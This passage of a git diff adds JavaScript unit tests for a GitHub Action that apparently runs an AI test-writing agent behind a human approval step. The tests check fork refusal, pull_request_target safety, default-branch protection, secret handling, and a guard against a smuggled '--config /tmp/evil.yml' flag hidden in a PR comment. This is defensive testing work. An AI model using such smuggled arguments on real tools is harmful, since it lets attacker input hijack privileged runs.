test("no context means no flag at all", () => { + assert.deepEqual(contextArgs({}), []) + }) +}) + +describe("cleanContext strips quotes as well as separators", () => { + test("a quoted PR title survives as plain text", () => { + const plan = planRun({ + eventName: "pull_request", + payload: { action: "opened", pull_request: pr({ title: 'Fix "Pay now" button' }) }, + repo: "acme/shop", + }) + const values = Object.values(plan.context ?? {}).join(" ") + assert.ok(!values.includes('"'), `a double quote reached the context: ${values}`) + }) +}) + +describe("a pull request does not send its title as the subject", () => { + // generateSubject in the CLI builds the commit-scoped prompt ("the change in + // PR #N, commit SHA … covering only what that change touches") ONLY when no + // subject is given. Sending the title meant `generate` on a pull request + // wrote cases for the title instead of the diff, which is FR-15. + test("pr_opened carries sha, branch and pr but no subject", () => { + const plan = planRun({ + eventName: "pull_request", + payload: { action: "opened", pull_request: pr() }, + repo: "acme/shop", + }) + assert.equal(plan.context.subject, undefined) + assert.equal(plan.context.pr, "412") + assert.ok(plan.context.sha) + }) +}) + +// P1 from review: a comment-triggered run worked on the WRONG TREE. +// +// The issue_comment plan carries `pr` but no `sha`, so checkSha fell back to +// GITHUB_SHA — the default branch tip for that event — and the starter's +// checkout took the default branch too. `@test-companion generate` on PR #42 +// therefore read main, and the check landed on main's latest commit. +describe("withPullRequestHead — a comment run must name the PR's own commit", () => { + const plan = () => ({ event: "pr_comment", context: { pr: "42", instructions: "generate" } }) + const head = (over = {}) => ({ + head: { sha: "deadbeef", ref: "feat/checkout", repo: { full_name: "acme/shop" } }, + ...over, + }) + + test("fills in the head sha and branch", () => { + const out = withPullRequestHead(plan(), head(), "acme/shop") + assert.equal(out.context.sha, "deadbeef") + assert.equal(out.context.branch, "feat/checkout") + assert.equal(out.context.pr, "42") + }) + + test("refuses a fork rather than running its code with our credentials", () => { + const out = withPullRequestHead( + plan(), + head({ head: { sha: "x", ref: "y", repo: { full_name: "evil/shop" } } }), + "acme/shop", + ) + assert.equal(out.skip, "fork") + }) + + test("fails closed when the head repository is missing", () => { + const out = withPullRequestHead(plan(), head({ head: { sha: "x", ref: "y" } }), "acme/shop") + assert.equal(out.skip, "fork") + }) + + test("fails closed when the lookup returned nothing", () => { + assert.equal(withPullRequestHead(plan(), null, "acme/shop").skip, "no-pr-head") + }) + + test("leaves a plan that already names a commit alone", () => { + const p = { event: "pr_updated", context: { sha: "abc", branch: "b", pr: "1" } } + assert.deepEqual(withPullRequestHead(p, head(), "acme/shop"), p) + }) +}) + +describe("a bare approval reaches us — FR-43", () => { + /** + * Found by the first approved run. The proposal comment says "Reply **go** + * to run this for real", a person replies exactly that, and the run skipped + * with "No @test-companion mention, so nothing was asked of Test Companion". + * + * The proposal was instructing an action that could not work. FR-43 says "a + * reply of 'go'", and the PRD's own user story has the SDET replying "go" + * with no mention at all. + * + * Narrow on purpose: the comment must OPEN with the approval word. An + * unmentioned comment is still nothing to do with us in every other case, + * and main.mjs drops this one too unless a proposal is actually waiting. + */ + const comment = (body) => ({ + action: "created", + issue: { number: 7, pull_request: {} }, + comment: { body, user: { login: "an-sdet" } }, + }) + + test("a bare go is carried through, not skipped", () => { + const out = planRun({ eventName: "issue_comment", payload: comment("go"), repo: "acme/shop" }) + assert.equal(out.skip, undefined) + assert.equal(out.approvalOnly, true) + }) + + test("go with edits is carried through too", () => { + const out = planRun({ eventName: "issue_comment", payload: comment("go, but drop case two"), repo: "acme/shop" }) + assert.equal(out.skip, undefined) + assert.equal(out.approvalOnly, true) + }) + + test('"approved" works as well', () => { + assert.equal(planRun({ eventName: "issue_comment", payload: comment("approved"), repo: "acme/shop" }).skip, undefined) + }) + + // The discriminator. "go" has to OPEN the comment, or ordinary chatter on a + // pull request starts runs. + test("ordinary chatter that merely contains the word is still ignored", () => { + for (const body of ["let's go to lunch", "I'll go over this tomorrow", "this is good to go once CI passes"]) { + const out = planRun({ eventName: "issue_comment", payload: comment(body), repo: "acme/shop" }) + assert.equal(out.skip?.reason, "not-addressed-to-us", `"${body}" must not start a run`) + } + }) + + test("an addressed comment is unchanged and is not an approval-only one", () => { + const out = planRun({ eventName: "issue_comment", payload: comment("@test-companion test this PR"), repo: "acme/shop" }) + assert.equal(out.skip, undefined) + assert.ok(!out.approvalOnly) + }) + + test("an unaddressed comment that is not an approval is still ignored", () => { + const out = planRun({ eventName: "issue_comment", payload: comment("nice work"), repo: "acme/shop" }) + assert.equal(out.skip?.reason, "not-addressed-to-us") + }) +}) + +describe("pull_request_target is a privileged trigger — it must fail CLOSED", () => { + /** + * `pull_request_target` runs in the BASE repository's context with full + * secrets, even when the pull request comes from a fork. That is the + * documented way these workflows get compromised, and this fork check is the + * only thing in front of it: unlike `pull_request`, the credentials ARE + * present, so main.mjs's no-credentials skip never fires. + * + * GitHub sets `head.repo` to null when the fork has been DELETED. The old + * check required head.repo.full_name to be truthy before it would refuse, so + * a deleted fork sailed through — open a pull request from a fork, delete + * the fork, and the run executes attacker-authored code with the base + * repository's credentials and --yolo. + */ + const targetEvent = (head) => ({ + action: "opened", + pull_request: { number: 7, draft: false, head }, + }) + + test("a deleted fork (head.repo null) is refused, not run", () => { + const out = planRun({ + eventName: "pull_request_target", + payload: targetEvent({ sha: "abc", ref: "feature", repo: null }), + repo: "acme/shop", + }) + assert.equal(out.skip?.reason, "fork") + }) + + test("a payload with no head repository at all is refused", () => { + const out = planRun({ + eventName: "pull_request_target", + payload: targetEvent({ sha: "abc", ref: "feature" }), + repo: "acme/shop", + }) + assert.equal(out.skip?.reason, "fork") + }) + + test("the same hole on plain pull_request is closed too", () => { + const out = planRun({ + eventName: "pull_request", + payload: targetEvent({ sha: "abc", ref: "feature", repo: null }), + repo: "acme/shop", + }) + assert.equal(out.skip?.reason, "fork") + }) + + // Not knowing which repository we are cannot mean "assume it is ours". + test("an unknown repository is refused rather than assumed", () => { + const out = planRun({ + eventName: "pull_request_target", + payload: targetEvent({ sha: "abc", ref: "feature", repo: { full_name: "acme/shop" } }), + repo: "", + }) + assert.equal(out.skip?.reason, "fork") + }) + + test("our own branch still runs", () => { + const out = planRun({ + eventName: "pull_request_target", + payload: targetEvent({ sha: "abc", ref: "feature", repo: { full_name: "acme/shop" } }), + repo: "acme/shop", + }) + assert.equal(out.skip, undefined) + assert.equal(out.context.sha, "abc") + }) + + // GitHub treats repository names case-insensitively; workflow_run already + // compares this way and pull_request did not. + test("a case difference is the same repository, not a fork", () => { + const out = planRun({ + eventName: "pull_request_target", + payload: targetEvent({ sha: "abc", ref: "feature", repo: { full_name: "Acme/Shop" } }), + repo: "acme/shop", + }) + assert.equal(out.skip, undefined) + }) +}) + +describe("the flag guard sees the FINAL value, not the raw one", () => { + /** + * Reported in review of PR #3101 and reproduced. `looksLikeAFlag` ran + * BEFORE `cleanContext`, which calls `stripSeparators` and turns `,`, `=` + * and `"` into spaces before trimming. So a value crafted to look safe + * beforehand became flag-like afterwards and the gate never saw it: + * + * `",--config /tmp/evil.yml"` → guard passes → `--config /tmp/evil.yml` + * + * while the same text unwrapped was correctly refused. Not injectable + * today only because every Go arg builder re-checks — the user-visible + * effect was a cryptic "Could not run" instead of the clean + * `unsafe-context` skip this has a message for. + */ + const comment = (body) => ({ + action: "created", + issue: { number: 7, pull_request: {} }, + comment: { body, user: { login: "dev" } }, + }) + const run = (body) => planRun({ eventName: "issue_comment", repo: "acme/shop", payload: comment(body) }) + + test("a bare flag is refused — the case that already worked", () => { + assert.equal(run("@test-companion --config /tmp/evil.yml").skip?.reason, "unsafe-context") + }) + + test("a flag smuggled past the guard by a separator is refused too", () => { + const out = run('@test-companion ",--config /tmp/evil.yml"') + assert.equal(out.skip?.reason, "unsafe-context", `leaked: ${JSON.stringify(out.context?.instructions)}`) + }) + + test("an ordinary request still gets through untouched", () => { + const out = run("@test-companion test this PR") + assert.equal(out.skip, undefined) + assert.equal(out.context.instructions, "test this PR") + }) +}) diff --git a/test-companion/test/push-work.test.mjs b/test-companion/test/push-work.test.mjs new file mode 100644 index 0000000..8564688 --- /dev/null +++ b/test-companion/test/push-work.test.mjs @@ -0,0 +1,399 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { + shouldPushWork, + changedPaths, + splitPushable, + renderPushNote, + authoredByUs, + needsCheckout, + isSameRepo, + pushCredentialArgs, + BOT_EMAIL, +} from "../src/push-work.mjs" + +const live = { preview: false, sameRepo: true, branch: "feat/x", headAuthorEmail: "dev@example.com", onWantedCommit: true } + +describe("shouldPushWork — the approved work must survive the runner", () => { + test("a live run on the pull request's own branch pushes", () => { + assert.equal(shouldPushWork(live).ok, true) + }) + + /** + * A preview run is the proposal pass. The brain refuses every write tool, + * so there should be nothing to push — but if a shell command wrote + * something anyway, pushing it would break the one promise the proposal + * makes: "nothing is written until you say go". + */ + test("a preview run never pushes", () => { + assert.equal(shouldPushWork({ ...live, preview: true }).ok, false) + assert.match(shouldPushWork({ ...live, preview: true }).why, /preview/i) + }) + + test("a fork's branch is never pushed to", () => { + assert.equal(shouldPushWork({ ...live, sameRepo: false }).ok, false) + }) + + test("no branch to push to is a no", () => { + assert.equal(shouldPushWork({ ...live, branch: "" }).ok, false) + }) + + /** + * The loop guard. Our own push creates a commit; if that commit triggers a + * run that pushes again, the pull request fills with commits forever. One + * generation is enough: we never push on top of our own commit. + */ + test("a run triggered by our own commit does not push again", () => { + assert.equal(shouldPushWork({ ...live, headAuthorEmail: BOT_EMAIL }).ok, false) + assert.match(shouldPushWork({ ...live, headAuthorEmail: BOT_EMAIL }).why, /own commit/i) + }) + + test("the bot email check ignores case and spacing", () => { + assert.equal(authoredByUs(` ${BOT_EMAIL.toUpperCase()} `), true) + assert.equal(authoredByUs("dev@example.com"), false) + assert.equal(authoredByUs(undefined), false) + }) +}) + +describe("changedPaths — reading git status", () => { + test("reads modified, added and untracked paths", () => { + const porcelain = [" M tests/pricing.spec.js", "A tests/new.spec.js", "?? tests/extra.spec.js"].join("\n") + assert.deepEqual(changedPaths(porcelain), ["tests/pricing.spec.js", "tests/new.spec.js", "tests/extra.spec.js"]) + }) + + test("a rename reports where the file landed, not where it came from", () => { + assert.deepEqual(changedPaths("R old/a.js -> new/a.js"), ["new/a.js"]) + }) + + test("a quoted path with a space is unquoted", () => { + assert.deepEqual(changedPaths('?? "tests/my file.spec.js"'), ["tests/my file.spec.js"]) + }) + + test("a deleted file still counts — removing a test is a change worth keeping", () => { + assert.deepEqual(changedPaths(" D tests/gone.spec.js"), ["tests/gone.spec.js"]) + }) + + test("empty status means nothing changed", () => { + assert.deepEqual(changedPaths(""), []) + assert.deepEqual(changedPaths("\n \n"), []) + }) +}) + +describe("splitPushable — what we refuse to commit", () => { + test("source and tests are pushable", () => { + const { push, skip } = splitPushable(["tests/pricing.spec.js", "src/pricing.js", "playwright.config.ts"]) + assert.deepEqual(push, ["tests/pricing.spec.js", "src/pricing.js", "playwright.config.ts"]) + assert.deepEqual(skip, []) + }) + + /** + * `git add` already honours .gitignore, so this is the second line of + * defence, for a repository that does not ignore these. A pushed .env is + * the worst outcome in this whole feature — it publishes a credential to + * the customer's own history, where deleting it does not take it back. + */ + test("an environment file is never committed", () => { + const { push, skip } = splitPushable([".env", "tests/a.spec.js", "config/.env.local"]) + assert.deepEqual(push, ["tests/a.spec.js"]) + assert.deepEqual(skip, [".env", "config/.env.local"]) + }) + + test("dependencies and run output are never committed", () => { + const { skip } = splitPushable([ + "node_modules/left-pad/index.js", + "playwright-report/index.html", + "test-results/trace.zip", + "debug.log", + ".testcompanion/logs/run.log", + ]) + assert.equal(skip.length, 5) + }) + + test("a file whose name merely contains a skipped word is kept", () => { + const { push } = splitPushable(["src/env.js", "tests/node_modules_helper.spec.js"]) + assert.deepEqual(push, ["src/env.js", "tests/node_modules_helper.spec.js"]) + }) +}) + +describe("renderPushNote — the reader must see exactly what landed", () => { + test("names the branch and every file", () => { + const note = renderPushNote({ branch: "feat/x", sha: "abc1234", files: ["tests/a.spec.js", "src/b.js"] }) + assert.match(note, /feat\/x/) + assert.match(note, /abc1234/) + assert.match(note, /tests\/a\.spec\.js/) + assert.match(note, /src\/b\.js/) + }) + + test("says what it refused to commit, rather than dropping it silently", () => { + const note = renderPushNote({ branch: "feat/x", sha: "abc1234", files: ["tests/a.spec.js"], skipped: [".env"] }) + assert.match(note, /\.env/) + }) + + test("a failed push says so instead of claiming the work landed", () => { + const note = renderPushNote({ branch: "feat/x", files: ["tests/a.spec.js"], error: "permission denied" }) + assert.match(note, /permission denied/) + assert.doesNotMatch(note, /pushed/i) + }) +}) + +describe("needsCheckout — the run must happen on the branch it writes to", () => { + /** + * main.mjs already detaches onto the pull request's commit when it resolves + * a comment's issue number, but that fetch is advisory — it warns and + * carries on so a proposal can still be built. This is what turns "we tried + * to be on the right commit" into "we are", before anything is pushed. + */ + test("a checkout sitting on another commit needs switching", () => { + assert.equal(needsCheckout({ headSha: "7cab305", wantSha: "54ceef4" }), true) + }) + + test("already on the right commit needs nothing", () => { + assert.equal(needsCheckout({ headSha: "54ceef4", wantSha: "54ceef4" }), false) + }) + + test("comparison ignores case and short-vs-long form", () => { + assert.equal( + needsCheckout({ + headSha: "54CEEF419D7290183E8F6467863D8A92F4E24029", + wantSha: "54ceef419d7290183e8f6467863d8a92f4e24029", + }), + false, + ) + }) + + test("not knowing where we want to be is not a reason to move", () => { + assert.equal(needsCheckout({ headSha: "7cab305", wantSha: "" }), false) + assert.equal(needsCheckout({ headSha: "7cab305" }), false) + }) +}) + +describe("shouldPushWork — the two fail-open holes a review caught", () => { + /** + * `sameRepo` was hard-coded true at the call site, on the reasoning that + * plan-run.mjs already skips forks. True today; a hard-coded security + * value is wrong the moment the code around it moves, and this is the + * second time this exact shape has appeared in this Action — the first was + * `pull_request_target` failing open on a deleted fork. + */ + test("not knowing whose repository this is refuses the push", () => { + assert.equal(shouldPushWork({ ...live, sameRepo: undefined }).ok, false) + assert.equal(shouldPushWork({ ...live, sameRepo: "yes" }).ok, false) + }) + + /** + * The checkout is advisory — a run continues against whatever is there so + * the proposal still gets built. But pushing from the wrong tree would + * send the DEFAULT branch's content to the pull request's branch and + * clobber the change under review. + */ + test("a tree that is not on the wanted commit never pushes", () => { + assert.equal(shouldPushWork({ ...live, onWantedCommit: false }).ok, false) + assert.match(shouldPushWork({ ...live, onWantedCommit: false }).why, /commit/i) + }) + + test("not knowing which commit we are on refuses the push", () => { + assert.equal(shouldPushWork({ ...live, onWantedCommit: undefined }).ok, false) + }) +}) + +describe("shouldPushWork — never the default branch", () => { + /** + * The branch name comes from the pull request's own head ref, which its + * author controls. Same-repo plus on-the-right-commit already bound that, + * but the default branch is the one target where a mistake is not + * recoverable by closing a pull request — so it is refused by name. + */ + test("a pull request branch is fine", () => { + assert.equal(shouldPushWork({ ...live, branch: "feat/x", defaultBranch: "main" }).ok, true) + }) + + test("the default branch is refused", () => { + const r = shouldPushWork({ ...live, branch: "main", defaultBranch: "main" }) + assert.equal(r.ok, false) + assert.match(r.why, /default branch/i) + }) + + test("the refusal ignores case", () => { + assert.equal(shouldPushWork({ ...live, branch: "Main", defaultBranch: "main" }).ok, false) + }) + + test("not knowing the default branch does not block an ordinary push", () => { + assert.equal(shouldPushWork({ ...live, branch: "feat/x" }).ok, true) + }) +}) + +describe("changedPaths — the bug a live run found that 345 unit tests did not", () => { + /** + * Run 40845669513. The Action wrote ten passing tests and then could not + * save them: "pathspec 'ests/pricing.spec.js' did not match any files". + * + * `git status --porcelain` puts a SPACE in the first column for an + * unstaged modification, so the line is " M tests/pricing.spec.js" — three + * characters before the path. The caller trimmed git's whole stdout, which + * removed that leading space from the FIRST LINE ONLY, leaving a two- + * character prefix and a fixed slice(3) that ate the "t". + * + * Both ends are fixed: the caller no longer trims, and this parse no + * longer assumes a fixed width. The tests passed before because they all + * fed it well-formed porcelain — the corruption happened upstream. + */ + test("a first line whose leading space was trimmed away still parses", () => { + assert.deepEqual(changedPaths("M tests/pricing.spec.js"), ["tests/pricing.spec.js"]) + }) + + test("the untrimmed form parses identically", () => { + assert.deepEqual(changedPaths(" M tests/pricing.spec.js"), ["tests/pricing.spec.js"]) + }) + + test("a mixed block where only the first line lost its space", () => { + const corrupted = ["M tests/pricing.spec.js", " M src/pricing.js", "?? tests/new.spec.js"].join("\n") + assert.deepEqual(changedPaths(corrupted), ["tests/pricing.spec.js", "src/pricing.js", "tests/new.spec.js"]) + }) + + test("every two-letter status code is handled", () => { + for (const code of ["MM", "A ", " A", "AM", "RM", "??", "UU", " D", "D "]) { + assert.deepEqual(changedPaths(`${code} some/file.js`), ["some/file.js"], `status ${JSON.stringify(code)}`) + } + }) + + test("a path that itself begins with a space survives, because it is quoted", () => { + assert.deepEqual(changedPaths('?? " leading.spec.js"'), [" leading.spec.js"]) + }) +}) + +describe("isSameRepo — whose branch is this, really", () => { + /** + * Run 40857884973 refused to save with "the change does not come from this + * repository", on a branch in this very repository. + * + * The caller read the head repository off the pull request object that + * main.mjs fetches — but it only fetches that for a COMMENT event, where a + * PR number has to be resolved to a head sha. On a pull_request event the + * sha is already in the payload, so nothing was fetched, the answer was + * undefined, and undefined is a refusal. The head repository was in the + * event payload the whole time. + */ + test("the same repository, compared case-insensitively", () => { + assert.equal(isSameRepo("Acme/Shop", "acme/shop"), true) + assert.equal(isSameRepo("acme/shop", "acme/shop"), true) + }) + + test("a fork is not this repository", () => { + assert.equal(isSameRepo("someone/shop", "acme/shop"), false) + }) + + test("not knowing is a refusal, never an assumption", () => { + assert.equal(isSameRepo(undefined, "acme/shop"), undefined) + assert.equal(isSameRepo("", "acme/shop"), undefined) + assert.equal(isSameRepo("acme/shop", ""), undefined) + }) +}) + +describe("changedPaths — paths git had to escape", () => { + /** + * Reported in review of PR #3101, and reproduced: with `core.quotePath` on + * (the default) git octal-escapes non-ASCII bytes, so `café.spec.ts` comes + * out as `"caf\\303\\251.spec.ts"`. Stripping the quotes without decoding + * leaves a path that does not exist, and `git add` with several pathspecs + * ABORTS ON THE FIRST MISS and stages nothing — so one accented filename + * loses every file the run produced. + * + * The call site now passes `-c core.quotePath=false`, which stops the + * escaping at source. This decodes it anyway, so a repository that forces + * the setting back on cannot reintroduce it. + * + * The old test picked the one quoted input that round-trips — a path with + * a space, which git quotes but does not escape — so the suite was green + * right beside the bug. + */ + test("an octal-escaped non-ASCII path is decoded back to its real name", () => { + assert.deepEqual(changedPaths('?? "caf\\303\\251.spec.ts"'), ["café.spec.ts"]) + }) + + test("a quoted path with a space still works — the case that used to pass", () => { + assert.deepEqual(changedPaths('?? "my file.spec.js"'), ["my file.spec.js"]) + }) + + test("escaped quotes and backslashes come back as themselves", () => { + assert.deepEqual(changedPaths('?? "say \\"hi\\".spec.js"'), ['say "hi".spec.js']) + assert.deepEqual(changedPaths('?? "back\\\\slash.spec.js"'), ["back\\slash.spec.js"]) + }) + + test("an unquoted path is left exactly as it is", () => { + assert.deepEqual(changedPaths("?? plain.spec.js"), ["plain.spec.js"]) + assert.deepEqual(changedPaths("?? caf\u00e9.spec.ts"), ["café.spec.ts"]) + }) + + test("a rename to an escaped path reports the decoded destination", () => { + assert.deepEqual(changedPaths('R old.js -> "caf\\303\\251.spec.ts"'), ["café.spec.ts"]) + }) +}) + +describe("changedPaths — characters outside the basic plane", () => { + /** + * The decoder walked the string by UTF-16 code unit and ran Buffer.from on + * each one, so an astral character — an emoji — was split into its two + * surrogate halves and each half became U+FFFD: + * + * "my 🎉 file.spec.ts" -> "my \uFFFD\uFFFD file.spec.ts" + * + * Reachable BECAUSE of the other half of the fix: with + * `core.quotePath=false` git stops octal-escaping non-ASCII but still + * QUOTES a path containing a space, so an emoji in a spaced filename + * arrives raw inside quotes and goes through this branch. The result is a + * path that does not exist, `git add` aborts, and the whole approved run's + * work is lost — the original bug, reached through the setting added to + * prevent it. + * + * BMP characters like é survived, which is why the first round of tests + * passed. + */ + test("an emoji in a quoted path survives", () => { + assert.deepEqual(changedPaths('?? "my 🎉 file.spec.ts"'), ["my 🎉 file.spec.ts"]) + }) + + test("an emoji that git DID escape also survives", () => { + // 🎉 is f0 9f 8e 89. + assert.deepEqual(changedPaths('?? "p\\360\\237\\216\\211q.spec.ts"'), ["p🎉q.spec.ts"]) + }) + + test("mixed astral, accented and plain in one path", () => { + assert.deepEqual(changedPaths('?? "caf\u00e9 🎉 ok.spec.ts"'), ["café 🎉 ok.spec.ts"]) + }) +}) + +describe("pushCredentialArgs — the App token has to reach git, not just gh", () => { + /** + * Reported in review of PR #3101. action.yml and the starter both tell + * customers they can delete the `permissions:` block once the App is + * installed, "because the App's installation token carries these + * permissions itself". The token was put in GH_TOKEN, which only `gh` + * reads — the push is a plain `git push` authenticating with whatever + * actions/checkout left in .git/config. + * + * So following our own advice, on an org whose default workflow token is + * read-only, made every approved run fail its push with a 403. + * + * Passed with `-c` rather than written into the remote URL: a token in a + * URL ends up in the reflog, in error messages and in `git remote -v`. + */ + test("builds a basic auth header from the token", () => { + const args = pushCredentialArgs("ghs_abc123") + assert.equal(args[0], "-c") + assert.match(args[1], /^http\.extraheader=AUTHORIZATION: basic /) + const b64 = args[1].split("basic ")[1] + assert.equal(Buffer.from(b64, "base64").toString("utf8"), "x-access-token:ghs_abc123") + }) + + test("no token means no argument — fall back to the checkout's own credential", () => { + assert.deepEqual(pushCredentialArgs(undefined), []) + assert.deepEqual(pushCredentialArgs(""), []) + assert.deepEqual(pushCredentialArgs(" "), []) + }) + + /** The token must never be a bare argument that `ps` or a log would show. */ + test("the token itself is never passed in the clear", () => { + const args = pushCredentialArgs("ghs_secret") + assert.ok(!args.some((a) => a.includes("ghs_secret")), `the raw token appeared in ${JSON.stringify(args)}`) + }) +}) diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs new file mode 100644 index 0000000..f0376c0 --- /dev/null +++ b/test-companion/test/report.test.mjs @@ -0,0 +1,857 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { OUTCOMES } from "../src/outcome.mjs" +import { + renderJobSummary, + renderComment, + chooseCommentAction, + checkSha, + COMMENT_MARKER, + renderNotAuthorized, + renderUnknownRequest, + proposalMarkerFor, + findProposal, + renderProposal, + proposalDroppedMarkerFor, + proposalNeedsDropping, + flattenPages, + renderExtraChecks, + accessibilityFailsCheck, + renderApprovedPlan, + hasApproverEdits, + renderProposalBody, + findSupersededProposal, + checkRequestFor, + inFlightCheckId, +} from "../src/report.mjs" + +const base = { + workflow: "generate", + outcome: OUTCOMES.SUCCEEDED, + summary: { workflow: "generate", event: "pr_merged", preview: "true", duration: "38s" }, + runUrl: "https://github.com/acme/shop/actions/runs/99", +} + +describe("renderJobSummary — FR-27", () => { + test("leads with what happened", () => { + const md = renderJobSummary(base) + assert.match(md, /Succeeded/) + assert.match(md, /generate/) + }) + + // FR-8: a preview run must be marked as one wherever it reports, or a reader + // sees a clean result and assumes the work landed. + test("marks a preview run, and scopes the claim to Test Companion's own writes", () => { + const md = renderJobSummary(base) + assert.match(md, /Preview/i) + assert.match(md, /write tools/i) + // It must NOT claim nothing at all was written. Preview deliberately + // allows `execute_command`, since that is how tests run, so a shell + // command the agent chose can still edit a file or push. The old wording + // promised a guarantee the gate does not give (review finding, #3030). + assert.doesNotMatch(md, /\bnothing was written\b/i) + assert.match(md, /[Ss]hell commands.*not covered/i) + }) + + test("does not claim preview on a live run", () => { + const md = renderJobSummary({ ...base, summary: { ...base.summary, preview: "false" } }) + assert.doesNotMatch(md, /Preview —/i) + }) + + // Every run leaves a readable result, including the ones that went wrong — + // a run with no report at all is exactly when the reader needs the page most. + test("still renders when the CLI left no report", () => { + const md = renderJobSummary({ ...base, outcome: OUTCOMES.COULD_NOT_RUN, summary: {} }) + assert.match(md, /Could not run/) + assert.ok(md.length > 0) + }) + + test("links the run", () => { + assert.match(renderJobSummary(base), /actions\/runs\/99/) + }) +}) + +describe("renderComment — FR-29", () => { + // The marker is how the next run finds this comment instead of adding a + // second one. It must be in every comment we ever write. + test("always carries the marker that makes it findable", () => { + assert.match(renderComment(base), new RegExp(COMMENT_MARKER)) + }) + + test("is hidden from the reader", () => { + const c = renderComment(base) + assert.match(c, /`, + }) + + test("a proposal for an earlier commit is found, and its sha reported", () => { + const found = findSupersededProposal([proposal("aaaaaaa1")], "bbbbbbb2") + assert.equal(found?.sha, "aaaaaaa1") + }) + + test("a proposal for THIS commit is not superseded — it is live", () => { + assert.equal(findSupersededProposal([proposal("aaaaaaa1")], "aaaaaaa1"), undefined) + }) + + test("no proposal at all means nobody was talking to us", () => { + assert.equal(findSupersededProposal([], "aaaaaaa1"), undefined) + assert.equal(findSupersededProposal(undefined, "aaaaaaa1"), undefined) + }) + + test("the newest superseded proposal wins, not the first", () => { + const found = findSupersededProposal( + [ + { ...proposal("aaa11111"), id: 1 }, + { ...proposal("bbb22222"), id: 2 }, + ], + "ccc33333", + ) + assert.equal(found?.sha, "bbb22222") + }) + + test("a person quoting our marker cannot fake one", () => { + const human = { user: { type: "User" }, body: "" } + assert.equal(findSupersededProposal([human], "bbbbbbb2"), undefined) + }) +}) + +describe("the proposal marker carries the JOB, not just the commit (FR-43)", () => { + /** + * Reported in review of PR #3101. The marker recorded the commit and the + * requester and nothing else. On the GO path `intent.workflow` is + * undefined, so `plan.workflow` was never set and the CLI resolved the + * binding itself from `--event pr_comment` — MatchEvent(...)[0], whichever + * is first in the file. + * + * So on a repository with two pr_comment bindings: ask for `fix`, read a + * proposal for `fix`, reply `go`, and something else runs live with + * --yolo. FR-43 is "what you saw is what runs"; nothing carried the job + * across. + */ + test("the marker records the workflow", () => { + assert.match(proposalMarkerFor("abc1234", "someone", "fix"), /workflow=fix/) + }) + + test("findProposal hands the workflow back, so the run can be pinned to it", () => { + const comments = [ + { + user: { type: "Bot" }, + body: `a plan\n\n${proposalMarkerFor("abc1234", "someone", "fix")}`, + }, + ] + assert.equal(findProposal(comments, "abc1234")?.workflow, "fix") + }) + + /** Proposals written before the marker carried a job stay approvable. */ + test("a marker with no workflow still matches, and reports none", () => { + const old = [{ user: { type: "Bot" }, body: "plan\n\n" }] + const found = findProposal(old, "abc1234") + assert.ok(found, "an older marker must still be found") + assert.equal(found.workflow, undefined) + assert.equal(found.requester, "someone") + }) + + test("the requester still survives alongside the workflow", () => { + const comments = [{ user: { type: "Bot" }, body: proposalMarkerFor("abc1234", "someone", "test-pr") }] + const found = findProposal(comments, "abc1234") + assert.equal(found.requester, "someone") + assert.equal(found.workflow, "test-pr") + }) +}) + +describe("checkRequestFor — one check per commit, not three (FR-48)", () => { + test("the first check on a commit is created", () => { + assert.deepEqual(checkRequestFor("abc", new Map()), { method: "POST", path: "check-runs" }) + }) + + test("the second updates the first instead of adding another", () => { + const made = new Map([["abc", 99]]) + assert.deepEqual(checkRequestFor("abc", made), { method: "PATCH", path: "check-runs/99" }) + }) + + /** A run can check the head early and the reported commit later. */ + test("a different commit gets its own check", () => { + const made = new Map([["abc", 99]]) + assert.deepEqual(checkRequestFor("def", made), { method: "POST", path: "check-runs" }) + }) + + test("no memo at all still works", () => { + assert.deepEqual(checkRequestFor("abc", undefined), { method: "POST", path: "check-runs" }) + }) +}) + +describe("the two marker readers must not drift apart", () => { + /** + * They already had. findProposal learned about `workflow=`; + * findSupersededProposal, 200 lines away, did not — and its pattern + * demanded ` -->` right after the optional `by=`, so it matched NO marker + * this branch writes. + * + * The consequence was the exact failure commit 0c2125b68f fixed: reply + * `go` after the branch moves, the superseded lookup finds nothing, and + * you are told "No @test-companion mention" again. + * + * The old tests missed it because the superseded block hand-wrote its + * fixture while the new marker tests only ever fed proposalMarkerFor() + * output to findProposal. Nothing crossed the two. These do. + */ + const bot = (body, id = 1) => ({ user: { type: "Bot" }, id, body: `a plan\n\n${body}` }) + + test("a marker written by proposalMarkerFor is found by BOTH readers", () => { + const marker = proposalMarkerFor("def5678", "alice", "test-pr") + assert.equal(findProposal([bot(marker)], "def5678")?.workflow, "test-pr") + assert.equal(findSupersededProposal([bot(marker)], "aaa1111")?.sha, "def5678") + }) + + test("and the superseded reader still reports who asked", () => { + const marker = proposalMarkerFor("def5678", "alice", "fix") + assert.equal(findSupersededProposal([bot(marker)], "aaa1111")?.requester, "alice") + }) + + test("every shape proposalMarkerFor can emit is readable by both", () => { + for (const args of [ + ["def5678", "alice", "fix"], + ["def5678", "alice", undefined], + ["def5678", undefined, "fix"], + ["def5678", undefined, undefined], + ]) { + const marker = proposalMarkerFor(...args) + assert.ok(findProposal([bot(marker)], "def5678"), `findProposal missed ${marker}`) + assert.ok(findSupersededProposal([bot(marker)], "aaa1111"), `findSupersededProposal missed ${marker}`) + } + }) +}) + +describe("inFlightCheckId — the sweep must finish what another run started", () => { + test("finds our in-progress check", () => { + assert.equal(inFlightCheckId([{ name: "Test Companion", status: "in_progress", id: 7 }]), 7) + }) + + test("a completed check is already answered", () => { + assert.equal(inFlightCheckId([{ name: "Test Companion", status: "completed", id: 7 }]), undefined) + }) + + test("another tool's check is none of our business", () => { + assert.equal(inFlightCheckId([{ name: "CI / build", status: "in_progress", id: 7 }]), undefined) + }) + + test("the newest wins, so a stale one cannot", () => { + assert.equal( + inFlightCheckId([ + { name: "Test Companion", status: "in_progress", id: 3 }, + { name: "Test Companion", status: "queued", id: 9 }, + ]), + 9, + ) + }) + + test("nothing in, nothing out", () => { + assert.equal(inFlightCheckId([]), undefined) + assert.equal(inFlightCheckId(undefined), undefined) + }) +}) + +describe("a proposal for a job that writes no plan file", () => { + /** + * Only `test-pr` has --propose-only and --plan-file, so only it produces a + * separate plan. For `rca`, `fix` and `verdict` the proposal run is a + * PREVIEW run — it does the work and writes nothing — and its report is + * what the reviewer approves. + * + * The body said "This run did not produce a plan — there is nothing here + * to approve", which is wrong for those jobs and tells the reader to + * re-run something that worked. + */ + test("says the report IS the plan, rather than that there is nothing to approve", () => { + const out = 